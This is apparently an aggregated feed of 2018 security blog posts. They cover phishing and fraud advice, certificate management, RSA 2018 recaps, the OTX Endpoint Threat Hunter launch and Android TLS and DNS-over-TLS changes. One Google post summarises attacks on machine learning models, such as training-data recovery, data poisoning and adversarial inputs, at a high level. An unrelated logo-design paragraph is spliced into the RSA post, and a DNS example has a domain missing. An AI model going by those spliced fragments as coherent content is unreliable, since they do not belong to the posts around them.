Financial Fraud: What Can You Do About It?

No timestamp info...
Financial fraud used to be simple. Erase the ink from a check, make it out for more money, and laugh as you withdrew money. Nowadays, it requires a bit more finesse but is still simple in concept. Thankfully, it’s also fairly easy to protect yourself or your company from financial fraud in a highly digitized world. In 2017, massive data breaches, ransomware attacks, and financial fraud ramped up. Steps are being taken around the world to combat this, such as the European Union updating their General Data Protection Regulation to help with breaches, but where does that leave you? Identity Theft and Credit Card Fraud First, it’s helpful to discuss identity theft and credit card fraud, and what they mean to you. From a data breach, a hacker could, in theory, steal your Social Security number and open a credit card in your name. The first part is identity theft; the second, where the hacker maxes out the credit card, is credit card fraud. You won’t be liable for the damages, but you need to be aware of them first. Otherwise, they will sit on your credit report, quickly wrecking your credit score thanks to unpaid bills and high utilization ratio. This makes financing a car or a house much harder. This is a less-than-ideal situation, but at least your money is safe. That’s only the beginning, though. A 2013 study showed that identity theft accounted for $24.7 billion in losses. Hackers attack every 39 seconds, from your social media accounts to your IoT devices. They steal credentials, log in to your bank account, and steal your money. Here’s how: Email Spoofing If you look in your spam email folder, you are likely to see familiar emails. Banks and people you know have, apparently, been emailing you without your knowledge. Your bank needs your password in order to unlock your account, for example. The problem is that the email is not actually from your bank; hackers have spoofed the email address to appear as something familiar. It’s not just banks, either. It could be an email from Facebook or Instagram that looks legit, asking you to log in. Once your credentials are stolen, they can try your logins on other sites, leading back to your bank. Hackers are sophisticated enough that they can even spoof a different employee of your company. If you get an odd email from someone in the finance department, it’sa good idea to verify, in person, that they actually do need the private information they are asking for. Otherwise, you may end up with a compromised payroll. The Internet of Things You have a spam filter for your emails. You don’t see any spoofed emails. But you do have IoT items. It might be a fitness tracker, your smart TV, or a home automation system, but it’s wirelessly connected to the internet. If your network is not secured, your IoT devices offer multiple opportunities to penetrate your network and “sniff” the data that is being transmitted. Hackers can see what images you are loading. They can see everything you type, including login credentials. They can redirect you to a custom-made website to steal more information, under the guise of a legitimate version of your bank’s website. Although your financials will not be affected, IoT devices can also be hacked and added to a botnet. As part of a botnet, the device could be used as part of an advertisement fraud scheme, where it is remotely commanded to go to a website and click on an ad. The hacker then gets a percentage of the advertising fees for every click. Or it could be made to mine cryptocurrency, slowing down your system. What You Can Do How can you stop hackers from infiltrating your system and either stealing your money, login credentials, or even the potential for making money? Here are some simple steps: Upgrade your password. You may think replacing letters is a smart idea, but it’s even better if you use four random words. Don’t use the same password for everything. Use a different password for banking than anything else. Use a completely different password for social media. Use yet another password for logging in to your email. If you are protecting a business, encrypt your data whenever possible. Conduct regular accounts payable audits to make sure hackers have not obtained access to your accounts. Avoid suspicious emails, especially with links to unfamiliar sites. Always check where the link actually goes to, rather than what it says in the text of the email. The same goes for suspicious attachments. Get antivirus software. If you do download a file or click a link, if it tries to install a virus or malware, an antivirus can stop it. This is more important in a business, as the computers are likely linked, and one computer will infect the next. Conclusion Hackers are evolving with the times. Some use new tactics, while others try to pose as someone in authority and get information, such as login credentials. It’s vital to understand their methods so you can protect yourself or your company from losing vast sums of money.       

Certificate Lifecycle Management: People, Process and Technology

No timestamp info...
Trust and Digital Certificates Trust is a valuable commodity in the age of data proliferation. An abundance of information makes it possible for bad actors to impersonate trusted brands using fake websites and accounts. Organizations therefore need a way to ensure that potential customers can trust their identity when visiting their official website, especially if they decide to purchase their goods or services. To address this issue of trust online, organizations look to the Public Key Infrastructure (PKI). This framework enables the issuance of public key certificates, otherwise known as digital certificates. These documents use security technology called Transport Layer Security (TLS) and previously Secure Sockets Layer (SSL) to encrypt a connection between a company's web server and a user's browser. As such, digital certificates provide a way for web users to trust that a website domain owner is who they say they are and that the transmission of their information with the website is secure. Challenges of Certificate Management It's not difficult for organizations to obtain a digital certificate. Depending on the level of trust they want to build with users, they can obtain a domain validation (DV), organization validation (OV) or extended validation (EV) certificate. These different types of electronic documents require that domain owners submit to validation checks conducted by trusted Certificate Authorities (CAs). In the case of DV certificates, CAs look to confirm the contact listed in the WHOIS record of a domain. EV certification is comparatively more thorough, requiring steps to confirm legal and physical operation. For those that obtain EV certificates, web browsers display their names in green along with a padlock indicating HTTPS protection in the address bar. (Source: Quora) Difficulties in Certificate Management By contrast, managing a certificate can be difficult. This is especially true for enterprises that use numerous certificates issued by multiple CAs to protect their web resources. Here are some of the biggest enterprise certificate management challenges identified by DigiCert, a trusted CA, in a useful web guide (PDF): Keeping Certificates Up-to-Date: TLS certificates suffer from security vulnerabilities just like other software. The problem could arise from misconfigurations, such as missing fields and the use of internal names, or they could owe their existence of out-of-date hashing algorithms. Organizations need to be able to discover these flaws and remediate them to prevent bad actors from compromising and abusing their certificates. Ensuring Complete Visibility Over All Certificates: In an enterprise, some users may have the authority to request, approve and issue a certificate. This level of access is fine as long as the organization can maintain complete visibility over its certificates. Without it, bad actors can seize upon an overlooked certificate and use it to their advantage. Managing Certificate Expirations: Besides suffering from vulnerabilities, all certificates have an expiration date. That maximum validity period for a certificate is two years as of 1 March 2018. At the end of that period, organizations need to renew their certificates or risk them expiring, a scenario which could allow bad actors to renew those certificates in their names and/or steal users' now unencrypted data when exchanged with the domain owner. (Source: Super User) Certificate Lifecycle: A Holistic Approach To adequately protect their digital certificates against bad actors, organizations need to manage their electronic documents across their entire lifecycles. This involves properly accounting for certificates from the moment they're issued to their renewal/expiration. Certificate lifecycle management involves building up an organization's people, process and technology. Here are Entrust's recommendations: Assign Roles: As part of their certificate lifecycle management plan, organizations need to clearly identify administrators who can manage issuance, expiration, etc. as well as approvers and other required roles. Companies can then use each entrusted employee's privileges to streamline workflows by deciding what types of notifications each person will receive as well as implementing security controls at each phase. Build an Inventory: Those employees responsible for organizations' certificate lifecycle management should oversee the creation of an inventory of all certificates in the environment. This step usually requires an audit of all domains, applications and certificates. With an inventory in place, administrators can then add new certificates as they become available, monitor existing resources for vulnerabilities and stay on top of impending expiration dates. Invest in Automation: It's possible for organizations to build inventories and manage their certificates manually. But there's always the chance that they could miss a certificate or an important alert. For that reason, companies should consider investing in a solution that uses a centrally managed system to automate the certificate discovery, management and renewal processes. Trust for the Future Digital certificates help confirm organizations' identities to web users. With these certificates, users can trust they're dealing with a domain owner that is who they say they are. It follows that companies should leverage their people, process and technology to make sure that trust is always there. Towards that end, certificate lifecycle management is the way to go.       

RSA 2018 Recap and Launch of OTX Endpoint Threat Hunter!

No timestamp info...
RSA 2018 was the best RSA ever from an AlienVault perspective! It was a "giant leap" for sure. The booth was Out of This World: We had hundreds of folks pop by for a demo or theater presentation. The Big News! OTX Endpoint Threat Hunter Free Tool!! The statistics on OTX participation are amazing - as of this writing 86018 participants, and 162K contibutions per day on average. The new free tool, OTX Endpoint Threat Hunter already has 443 downloads in less than a week of availability. Hear about it in the video below from Sacha Dawes and Russ Spitler. Then there was a party jointly sponsored by AlienVault  where we gave out a lot of our famous lighted sunglasses 🙂 Oh and I got to catch up with Twitter buddies @uuallan @C_3PJoe @VinceintheBay @ChuckDBrooks and others! The Security Bloggers Meetup The big news was Javvad Malik winning the Most Entertaining Blog category with his personal blog. I also got to catch up with many InfoSec luminaries. Here's my favorite pic with @RSnake, an injured-but-smiling @indi303 & @alexlevinson: It was an exhausting but very fun week indeed!       

The InfoSec Marshmallow

No timestamp info...
I was listening to the Jordan Harbinger podcast the other day.  If you are a student of social dynamics, listening to this podcast is the best way to spend at least one hour of your week.  The producer of the show mentioned how a particular person was the type who “definitely ate the marshmallow”.  This made me chuckle. If you are unfamiliar with the reference to the marshmallow experiment, it is based on a delayed gratification test conducted back in the 1970s at Stanford University.  It was designed to see if children who exercised delayed gratification would end up (many years later) performing better on aptitude tests as well as other positive life outcomes.  The test was a bit complicated, and many follow up tests have been conducted over the years along the same lines.  The reason it has become known as “The Marshmallow Test” is due to a more recent version of the test showing how some children reacted to the experiment.  Each child was given a marshmallow on a plate, and were told that they could eat the marshmallow now, or wait until the researcher returned, at which time they would be rewarded with two marshmallows. A hidden video camera recorded the reactions of the children as they awaited alone in the room with the marshmallow. The most popular version of that experiment can be viewed in this 3-minute video, sure to bring a smile to even the most hardened InfoSec curmudgeon. When thinking of that video, I wonder how some of us in the InfoSec community would have fared if we were subjects of that experiment.  Given the various InfoSec personality types, here are some comical thoughts about how we would perform. The Hacker - This personality type would figure out a way to eat only the inside of the marshmallow, leaving the psychologist with a seemingly untouched specimen on the plate, thus getting the reward of the second marshmallow. The Security Researcher – This type would poke the marshmallow numerous times to see if there are any weaknesses to exploit.  Once a weakness was found, the researcher will seek a bug bounty to get more marshmallows. The Pen tester – Similar to the security researcher, the pen tester will seek the weaknesses, however, the ultimate goal difference is that the pen tester will aim to pop the shell of the marshmallow to gain full access.  The Pen Tester personality type will also be sure to have a “get out of jail free” card in case the intrusion is detected. The Cyber Forensics investigator – this person would notate the current state of the marshmallow, tag it, bag it, and take it (and the reward marshmallow) home for further “examination”. The Red Team member – This person would take bites from the marshmallow, waiting to get caught. The Blue Team member – Guardian of the marshmallow! The Security Auditor – This type would ask the psychologist for evidence about the reward marshmallow in order to achieve a “level of comfort” that the experiment is following the correct control protocols. The Security Policy-maker – Marshmallow Policy: All marshmallows MUST be observed and not eaten until the experiment is concluded. The Social Engineer – Of course, this personality type will convince the psychologist to watch the marshmallow while the social engineer holds and munches on the full the bag of remaining marshmallows. I hope I have captured the essence of how we InfoSec folks would have performed if we were in the position of the marshmallow test subjects.  I know that there are a few InfoSec functions that I have omitted, such as the CISO, the Security admin, and the Incident responder, but I leave those to you to observe on your own.  Here’s hoping that you gain new insights into the various InfoSec personality types.  In the meantime, go enjoy a well-deserved marshmallow.       

Things I Hearted this Week – the RSA 2018 Edition

No timestamp info...
It’s RSA week! A week where security professionals from far and wide travel to San Francisco to attend not only RSA conference, but the number of other events around it. Whatever the flavour, there’s usually something for everyone. I didn’t make the pilgrimage this year, opting for a low-key vacation with the family during the Easter break. So, this week, most of the updates are viewed through the lens of attending a conference remotely. RSA RSA is the melting pot for diverse groups to converge. It’s not just a security conference. It is an ecosystem that breeds many micro-conferences, each catering to specific audiences. While many observations can be made about the size of the vendor hall, it would be an over-simplification to say RSA is just a vendor-conference. There are investors looking to see where money should go, industry analysts get a good idea of which direction trends are heading, professionals share ideas and network, recruiters find out who is hiring, and who is looking. It’s also the time of year for which many vendors save their biggest announcements, be those new product lines, features, or mergers and acquisitions. AlienVault announced its new free threat hunting service, OTX Endpoint Threat Hunter™. It’s a free threat-scanning service in Open Threat Exchange that allows you to detect malware and other threats on your critical endpoints using OTX threat intelligence. This means that you can now harness the world’s largest open threat intelligence community to assess your endpoints against real-world attacks on demand or as new attacks appear in the wild. New!

How to prepare for an infosec interview | Timothy De Block Netflix open sources Titus Netflix has announced it is open-sourcing its container management platform Titus. Over the last three years, Titus evolved initially from supporting batch use cases, to running services applications (both internal, and ultimately critical customer-facing). Through that evolution, container use at Netflix has grown from thousands of containers launched per week to as many as three million containers launched per week in April 2018. Titus hosts thousands of applications globally over seven regionally isolated stacks across tens of thousands of EC2 virtual machines. The open-sourcing of Titus shares the resulting technology assembled through three years of production learnings in container management and execution. Titus allows us to quickly and nimbly add features that are valuable as our needs evolve, and as we grow to support new use-cases. We always try to maintain a philosophy of “just enough” vs “just in case” with the goal of keeping things as simple and maintainable as possible.

They are strong, thanks to what they allow you to do with them. Before, logo designers would look for a ‘concept’ when designing a logo. That is obviously not needed anymore: The brand is the concept. Their logos may look similar, but what they offer is totally different and effective, and that’s what finally counts for the consumer. They are 100% recognizable.

Let’s be Fools

No timestamp info...
The Roman poet Lucretius once wrote: “A fool believes that the tallest mountain in the world will be equal to the tallest one he has observed.” Translation? He’s essentially saying that our lived experiences define our perspectives. They warp our sense of scale like a bit of plastic in the microwave, moulding what we consider to be large and small. As someone with years of experience in the security industry, and the cynicism and grey hair to prove it, I’ve got a lot of appreciation for this. Remember in 2010 when the hacker group Goatse Security (please don’t google the first word in that name) penetrated the heart of AT&T’s servers and acquired the email addresses of over 100,000 iPad users? Man, 2010 was a different time. The AT&T iPad hack was a major news story, and rightfully so. I distinctly remember thinking that 100,000 victims was pretty big. Now, in light of the Ashley Madison and Equifax hacks, it almost seems quaint. What I’m saying is that, my perspective of what constitutes a major incident has shifted. I noticed that earlier this week when a jewelry retailer in the US accidentally leaked the details of 1.3 million customers. This happened because it committed one of the most basic of security schoolboy errors, and failed to secure the Amazon S3 bucket where it kept its database backups. 1.3 million? Yawn. I don’t get out of bed for less than 100 million. And while I struggle to imagine a data breach greater in size than the 2016 release of over 300 million MySpace users, or more damaging than the 2017 Equifax hack, I know this is inevitable, even if I can’t actually visualize it in my mind’s eye. But, like, what if it’s better to be fools? We live in interesting times. Security breaches are no longer measured in the millions, but in the hundreds of millions of records. It’s only a matter of time until the first billion-victim data leak happens. The smaller leaks (and apparently anything less than 10 million constitutes a “smaller leak”) barely warrant a mention. But what about the big ones? After every major incident there’s the trifecta of outrage, blame, and calls for consequences, but that that eventually settles down into apathetic acceptance. Remember when everyone was really upset about the Ashley Madison hack, and then forgot about it? Remember when everyone was really upset about the LinkedIn hack, and then forgot about it? Remember when everyone was really upset about the Equifax hack, and then forgot about it? And let me ask one last question: are we any better for having done so? Are companies still making silly security mistakes? Has there been any change at the government level? Any new laws passed? Has anyone gone to jail for having screwed up in such an egregious manner? Perhaps it’s time to treat all security breaches -- all security breaches, but especially the big ones -- as the biggest mountains we’ve ever seen, because change isn’t going to happen any other way. I, for one, think it’s better to be a fool. Who’s with me?       

Passive Voice and Hacker Zombies

No timestamp info...
Passive voice in written communication is a huge part of the InfoSec world’s perception problem. I get it, I mean, it’s not really your fault, right? Your 8th grade English teacher probably made you write that way, because it’s formal. Or because it’s proper. Or because you’d flunk the class if you didn’t (forgetting for the moment that hacking the grading system was trivial. Whatever.) And even though you’ve forgotten, ignored, or learned better about 99% of everything you learned in school, for some weird reason no one’s ever been able to explain to me, the majority of people writing technical content (not trained technical writers; those guys know better) cleave to passive voice like they cleave to no other rule ever in any other aspect of their lives. Not entirely sure what passive voice is? Merriam-Webster comes to the rescue: Definition of passive 1 a (1) : acted upon by an external agency (2) : receptive to outside impressions or influences b (1) : asserting that the grammatical subject of a verb is subjected to or affected by the action represented by that verb the passive voice (2) : containing or yielding a passive verb form c (1) : lacking in energy or will : lethargic (2) : tending not to take an active or dominant part Passive voice has a long and glorious history of being the language of plausible deniability, and of abdication of responsibility. It’s the language you used when you were four and got busted for eating the cookies. “Cookies were eaten.” It’s the same language that’s used when a politician gets caught doing practically anything. “Mistakes were made.” It’s a way of acknowledging that activity happened, without actually taking the blame for it, or ownership for the fixing of it. It’s the language of the shifty and has been for millennia. “No one exists for even an instant without performing action. However unwilling, every being is forced to act by the qualities of nature” (Bhagavad Gita 3:5). It is entirely fitting then, that this language is most easily identified by the following trick: Ms. Johnson, Dean of Academics and Deputy Director of the MC War College, came up with this outstanding test back in 2012, as a way to teach Marines how to write more actively. Because who wants zombies in their writing? No one does. “Mistakes were made by zombies.” But… hang on… why does the Marine Corps War College care about passive voice so much? Because passive voice introduces ambiguity into our writing. It makes it unclear to the reader who exactly did what and when. It confuses us about the differences between the actor, and the acted-upon. And in a situation where there’s an attacker and a target, ambiguity is the ultimate enemy, because people have to delay their response while they attempt to decipher the chain of causality. I see passive voice in security writing all the time. Half the time, it truly sounds like it’s there to sound more formal, more astute. “The testing determined…,” “The phishing attempted to…,” “Control of the servers was lost,” “The defenses were breached,” “The machines were infected.” Who knows how these things happen, right? Just all of a sudden, bad things happened to good systems, and we’re not sure precisely by whom or why, but probably hackers, amirite? When you’re creating critical security messaging, ambiguity can be fatal. If we’re hesitating because we’re trying to figure out who the zombies are, critical response time is wasted, and no one can afford that. Except the attackers. The other problem with this language construction is that it makes it sound like these things are as big a mystery to you, the security professional writing the piece, as they are to the reader. No wonder despair sets in; if the professional has just been caught by zombies, what hope for survival is there for the rest of us? So how do we fight zombies? With action, my friends. “The SOC team found the virus and immediately initiated quarantine procedures.” “The CISO authorized a security contractor to send phishing and spear phishing emails to the members of five internal email aliases.” “In their quarterly pentests, the IT team discovered eight unpatched vulnerabilities, and immediately installed the relevant patches.” Tell us who did what when, in a way that we can follow clearly. Let the reader feel secure in the knowledge that you are paying attention, conveying accurate information in a timely way, and eradicating the zombies.       

New! Free Threat Hunting Service from AlienVault – OTX Endpoint Threat Hunter™

No timestamp info...
70% of successful security breaches start on endpoint devices, according to IDC.1 Yet, security practitioners haven’t had an effective or low-cost way to hunt for threats against critical endpoints. Until now. Today, I am excited to announce a new free service for endpoint threat scanning—OTX Endpoint Threat Hunter™. OTX Endpoint Threat Hunter is a free threat-scanning service in Open Threat Exchange that allows you to detect malware and other threats on your critical endpoints using OTX threat intelligence. This means that you can now harness the world’s largest open threat intelligence community to assess your endpoints against real-world attacks on demand or as new attacks appear in the wild—all. for. free. Powered by the AlienVault Agent, based on osquery, OTX Endpoint Threat Hunter scans your endpoints for the presence of known IoCs, alerting you to any active threats. This free service is the first of its kind to natively take advantage of the over 19 million IoCs contributed to OTX daily by a global community of 80,000 security researchers and practitioners. Get started with OTX Endpoint Threat Hunter > Why did we decide to pack all of that threat intelligence power into an endpoint-focused threat hunting service? Well, until now, security practitioners have had limited options to help them hunt for threats on endpoints: either procure an expensive endpoint threat detection and response (EDR) solution or take a DIY route with an open-source agent. As an alternative, OTX Endpoint Threat Hunter uses the same agent-based approach as expensive endpoint security tools, giving you threat visibility of your critical endpoints without the cost and complexity of introducing yet another security tool to your stack. With a DIY approach, it can be difficult to deploy an open-source tool, to know what to query, and to correlate this information with the latest threat data. OTX Endpoint Threat Hunter removes this complexity and guesswork while providing a free security service available to all. How OTX Endpoint Threat Hunter Works We’ve made it fast and simple to get started with OTX Endpoint Threat Hunter. With its direct integration in OTX, you can get started with OTX Endpoint Threat Hunter without the use of other security tools, so there’s no integration required. Here’s how: If you haven’t already, register with the Open Threat Exchange (OTX). It’s free to join. Download and install the AlienVault Agent on the Windows or Linux devices* you want to monitor. The AlienVault Agent is immediately ready to find threats. Launch a query on any endpoint from OTX by selecting a pre-defined query that looks for IOCs in one or more OTX pulses. The AlienVault Agent executes the query, and within moments you can view the results of the query display across all your endpoints on a summary page within OTX. Get started with OTX Endpoint Threat Hunter now > Threat Hunting Scenarios Let’s look at few threat hunting scenarios that you can perform with OTX Endpoint Threat Hunter. 1.Identify whether your endpoints have been compromised in a major malware attack. Maybe you’ve faced this scenario. The mainstream media outlets are breaking news of a global attack on the rise, taking down businesses and critical infrastructure in droves. Your C-suite urgently wants to know whether the organization is at risk. Do you have the resources and technologies in place to readily hunt for indicators of compromise across your environment, including your endpoints? Do you know which IoCs to hunt for and where to source them? Twitter? Security blogs? That kind of emerging threat research takes time, and your C-suite is waiting. With OTX Endpoint Threat Hunter, you can immediately leverage the emerging threat intelligence in OTX to scan your endpoints. Because OTX participants share threat artifacts quickly—in some cases, within minutes of initial discovery in the wild—you can be assured of up-to-date threat data to detect the threat, without having to spend time researching it. In this example, I want to check whether my endpoints have been infected with the recently discovered GoScanSSH malware family that targets Linux systems. From the dropdown menu, I select “Scan by Pulse.” In OTX, a pulse is a collection of IoCs for a specific threat or threat family. I enter the search term, “GoScanSSH.” This returns all OTX pulses related to that threat. I select the pulses against which I want to scan. I select “Run with selected pulses.” This triggers the AlienVault Agents that are installed on my endpoints to query the endpoints against the IOCs catalogued in the pulses I selected.    Once the scan is complete, I can see the number of endpoints with matching IOCs. I can also drill down for more information about the matches and find out exactly which IOCs were detected on which endpoint. From here, I know which endpoints have been infected by GoScanSSH and require intervention. 2.Assess the threat posture of your critical endpoints. In addition to scanning for a single threat or malware family, it can be extremely useful to scan all your endpoints against multiple pulses at once. With OTX Endpoint Threat Hunter, you can scan against pulses as well as YARA rules in multiple ways: Scan all AlienVault-contributed Pulses Scan by all AlienVault-contributed YARA Rules (Linux only) Scan by all pulses you subscribe to (all pulses updated in the last 7 days) Scan by all pulses you subscribe to (all pulses updated in the last 30 days) AlienVault Pulses are pulses that the AlienVault Labs Security Research Team curates in the OTX. This team of seasoned security researchers (our own threat hunters) use a wide collection of machine learning and human intelligence capabilities to validate the threat data in OTX as well as other sources. A scan against all AlienVault-contributed Pulses can provide an overall picture of the state of security of your critical endpoints. In this example, I want to scan my endpoints against all AlienVault-contributed Pulses. I select “Scan all AlienVault-contributed Pulses” from the dropdown menu. This scan returns the following results. 3.Query your endpoints for other suspicious activities. In addition to detecting the presence of IOCs on your endpoints, OTX Endpoint Threat Hunter has pre-built queries to detect other potentially malicious or out-of-policy activities on endpoints. These include: Scan for processes running without a binary on disk Why it’s useful: This allows you to identify processes that are running in memory, where the actual binaries have been deleted from the disk. This is a common tactic used in some malware in order to evade detection by file integrity monitoring (FIM) and anti-virus tools. Scan for crypto-mining activity Why it’s useful: Some malware, once installed, consumes endpoint resources to perform crypto-mining activities that run in the background. This type of malware has become extremely popular attack of late, particularly given the rising value and accessibility of cryptocurrency, and a resulting interest from malicious actors, including state-sponsored and crime syndicates. Scan for installed malicious / annoying Chrome extensions Why it’s useful: Some Chrome browser extensions that seemingly offer value or amusement for end users may expose the endpoint to threats or be out of compliance with corporate IT policy. For example, the nCage extension replaces every image on the page with a picture of Nicholas Cage. Funny, yet unlikely to be sanctioned IT policy. About the New AlienVault Agent OTX Endpoint Threat Hunter is powered by the AlienVault Agent—a lightweight and adaptable endpoint agent based on osquery. The AlienVault Agent is simple and fast to install on Windows and Linux hosts and endpoints and has a small footprint. With the AlienVault Agent, you can get to endpoint security insights quickly, without the cost and complexity of a traditional endpoint security solution. We are currently inviting USM Anywhere customers to request early access to USM Anywhere’s new endpoint monitoring capability using the AlienVault Agent. With this new feature, you can monitor your endpoints directly within the USM Anywhere interface, without implementing a third-party tool. Customers can submit their request to join the Early Access program through the ‘Request Early Access’ button within USM Anywhere, which can be found by clicking on ‘Agents’ under the new ‘Data Sources’ menu item. 1 Effective Incident Detection and Investigation Saves Money, IDC, 2016

Leveraging AI to protect our users and the web

Friday April 20th, 2018 08:12:09 PM
Posted by Elie Bursztein, Anti-Abuse Research Lead - Ian Goodfellow, Adversarial Machine Learning Research LeadRecent advances in AI are transforming how we combat fraud and abuse and implement new security protections. These advances are critical to meeting our users’ expectations and keeping increasingly sophisticated attackers at bay, but they come with brand new challenges as well.This week at RSA, we explored the intersection between AI, anti-abuse, and security in two talks.Our first talk provided a concise overview of how we apply AI to fraud and abuse problems. The talk started by detailing the fundamental reasons why AI is key to building defenses that keep up with user expectations and combat increasingly sophisticated attacks. It then delved into the top 10 anti-abuse specific challenges encountered while applying AI to abuse fighting and how to overcome them. Check out the infographic at the end of the post for a quick overview of the challenges we covered during the talk.Our second talk looked at attacks on ML models themselves and the ongoing effort to develop new defenses.It covered attackers’ attempts to recover private training data, to introduce examples into the training set of a machine learning model to cause it to learn incorrect behaviors, to modify the input that a machine learning model receives at classification time to cause it to make a mistake, and more.Our talk also looked at various defense solutions, including differential privacy, which provides a rigorous theoretical framework for preventing attackers from recovering private training data.Hopefully you were to able to join us at RSA! But if not, here is re-recording and the slides of our first talk on applying AI to abuse-prevention, along with the slides from our second talk about protecting ML models.

DNS over TLS support in Android P Developer Preview

Tuesday April 17th, 2018 04:32:44 PM
Posted by Erik Kline, Android software engineer, and Ben Schwartz, Jigsaw software engineer[Cross-posted from the Android Developers Blog]The first step of almost every connection on the internet is a DNS query. A client, such as a smartphone, typically uses a DNS server provided by the Wi-Fi or cellular network. The client asks this DNS server to convert a domain name, like, into an IP address, like 2607:f8b0:4006:80e::2004. Once the client has the IP address, it can connect to its intended destination.When the DNS protocol was designed in the 1980s, the internet was a much smaller, simpler place. For the past few years, the Internet Engineering Task Force (IETF) has worked to define a new DNS protocol that provides users with the latest protections for security and privacy. The protocol is called "DNS over TLS" (standardized as RFC 7858).Like HTTPS, DNS over TLS uses the TLS protocol to establish a secure channel to the server. Once the secure channel is established, DNS queries and responses can't be read or modified by anyone else who might be monitoring the connection. (The secure channel only applies to DNS, so it can't protect users from other kinds of security and privacy violations.)DNS over TLS in PThe Android P Developer Preview includes built-in support for DNS over TLS. We added a Private DNS mode to the Network & internet settings.By default, devices automatically upgrade to DNS over TLS if a network's DNS server supports it. But users who don't want to use DNS over TLS can turn it off.Users can enter a hostname if they want to use a private DNS provider. Android then sends all DNS queries over a secure channel to this server or marks the network as "No internet access" if it can't reach the server. (For testing purposes, see this community-maintained list of compatible servers.)DNS over TLS mode automatically secures the DNS queries from all apps on the system. However, apps that perform their own DNS queries, instead of using the system's APIs, must ensure that they do not send insecure DNS queries when the system has a secure connection. Apps can get this information using a new API: LinkProperties.isPrivateDnsActive()With the Android P Developer Preview, we're proud to present built-in support for DNS over TLS. In the future, we hope that all operating systems will include secure transports for DNS, to provide better protection and privacy for all users on every new connection.

Protecting users with TLS by default in Android P

Thursday April 12th, 2018 09:18:33 PM
Posted by Chad Brubaker, Senior Software Engineer Android Security[Cross-posted from the Android Developers Blog]Android is committed to keeping users, their devices, and their data safe. One of the ways that we keep data safe is by protecting all data that enters or leaves an Android device with Transport Layer Security (TLS) in transit. As we announced in our Android P developer preview, we're further improving these protections by preventing apps that target Android P from allowing unencrypted connections by default.This follows a variety of changes we've made over the years to better protect Android users. To prevent accidental unencrypted connections, we introduced the android:usesCleartextTraffic manifest attribute in Android Marshmallow. In Android Nougat, we extended that attribute by creating the Network Security Config feature, which allows apps to indicate that they do not intend to send network traffic without encryption. In Android Nougat and Oreo, we still allowed cleartext connections.How do I update my app?If your app uses TLS for all connections then you have nothing to do. If not, update your app to use TLS to encrypt all connections. If you still need to make cleartext connections, keep reading for some best practices.Why should I use TLS?Android considers all networks potentially hostile and so encrypting traffic should be used at all times, for all connections. Mobile devices are especially at risk because they regularly connect to many different networks, such as the Wi-Fi at a coffee shop.All traffic should be encrypted, regardless of content, as any unencrypted connections can be used to inject content, increase attack surface for potentially vulnerable client code, or track the user. For more information, see our past blog post and Developer Summit talk.Isn't TLS slow?No, it's not.How do I use TLS in my app?Once your server supports TLS, simply change the URLs in your app and server responses from http:// to https://. Your HTTP stack handles the TLS handshake without any more work.If you are making sockets yourself, use an SSLSocketFactory instead of a SocketFactory. Take extra care to use the socket correctly as SSLSocket doesn't perform hostname verification. Your app needs to do its own hostname verification, preferably by calling getDefaultHostnameVerifier() with the expected hostname. Further, beware that HostnameVerifier.verify() doesn't throw an exception on error but instead returns a boolean result that you must explicitly check.I need to use cleartext traffic toWhile you should use TLS for all connections, it's possibly that you need to use cleartext traffic for legacy reasons, such as connecting to some servers. To do this, change your app's network security config to allow those connections.We've included a couple example configurations. See the network security config documentation for a bit more help.Allow cleartext connections to a specific domainIf you need to allow connections to a specific domain or set of domains, you can use the following config as a guide:<network-security-config> <domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true"></domain> <domain includeSubdomains="true"></domain> </domain-config></network-security-config>Allow connections to arbitrary insecure domainsIf your app supports opening arbitrary content from URLs over insecure connections, you should disable cleartext connections to your own services while supporting cleartext connections to arbitrary hosts. Keep in mind that you should be cautious about the data received over insecure connections as it could have been tampered with in transit.<network-security-config> <domain-config cleartextTrafficPermitted="false"> <domain includeSubdomains="true"></domain> <domain includeSubdomains="true"></domain> </domain-config> <base-config cleartextTrafficPermitted="true" /></network-security-config>How do I update my library?If your library directly creates secure/insecure connections, make sure that it honors the app's cleartext settings by checking isCleartextTrafficPermitted before opening any cleartext connection.

Android Security 2017 Year in Review

Thursday March 15th, 2018 01:00:42 PM
Posted by Dave Kleidermacher, Vice President of Security for Android, Play, ChromeOSOur team’s goal is simple: secure more than two billion Android devices. It’s our entire focus, and we’re constantly working to improve our protections to keep users safe.Today, we’re releasing our fourth annual Android Security Year in Review. We compile these reports to help educate the public about the many different layers of Android security, and also to hold ourselves accountable so that anyone can track our security work over time.We saw really positive momentum last year and this post includes some, but not nearly all, of the major moments from 2017. To dive into all the details, you can read the full report at: Play ProtectIn May, we announced Google Play Protect, a new home for the suite of Android security services on nearly two billion devices. While many of Play Protect’s features had been securing Android devices for years, we wanted to make these more visible to help assure people that our security protections are constantly working to keep them safe.Play Protect’s core objective is to shield users from Potentially Harmful Apps, or PHAs. Every day, it automatically reviews more than 50 billion apps, other potential sources of PHAs, and devices themselves and takes action when it finds any.Play Protect uses a variety of different tactics to keep users and their data safe, but the impact of machine learning is already quite significant: 60.3% of all Potentially Harmful Apps were detected via machine learning, and we expect this to increase in the future.Protecting users' devicesPlay Protect automatically checks Android devices for PHAs at least once every day, and users can conduct an additional review at any time for some extra peace of mind. These automatic reviews enabled us to remove nearly 39 million PHAs last year.We also update Play Protect to respond to trends that we detect across the ecosystem. For instance, we recognized that nearly 35% of new PHA installations were occurring when a device was offline or had lost network connectivity. As a result, in October 2017, we enabled offline scanning in Play Protect, and have since prevented 10 million more PHA installs.Preventing PHA downloadsDevices that downloaded apps exclusively from Google Play were nine times less likely to get a PHA than devices that downloaded apps from other sources. And these security protections continue to improve, partially because of Play Protect’s increased visibility into newly submitted apps to Play. It reviewed 65% more Play apps compared to 2016.Play Protect also doesn’t just secure Google Play—it helps protect the broader Android ecosystem as well. Thanks in large part to Play Protect, the installation rates of PHAs from outside of Google Play dropped by more than 60%.Security updatesWhile Google Play Protect is a great shield against harmful PHAs, we also partner with device manufacturers to make sure that the version of Android running on users' devices is up-to-date and secure.Throughout the year, we worked to improve the process for releasing security updates, and 30% more devices received security patches than in 2016. Furthermore, no critical security vulnerabilities affecting the Android platform were publicly disclosed without an update or mitigation available for Android devices. This was possible due to the Android Security Rewards Program, enhanced collaboration with the security researcher community, coordination with industry partners, and built-in security features of the Android platform.New security features in Android OreoWe introduced a slew of new security features in Android Oreo: making it safer to get apps, dropping insecure network protocols, providing more user control over identifiers, hardening the kernel, and more.We highlighted many of these over the course of the year, but some may have flown under the radar. For example, we updated the overlay API so that apps can no longer block the entire screen and prevent you from dismissing them, a common tactic employed by 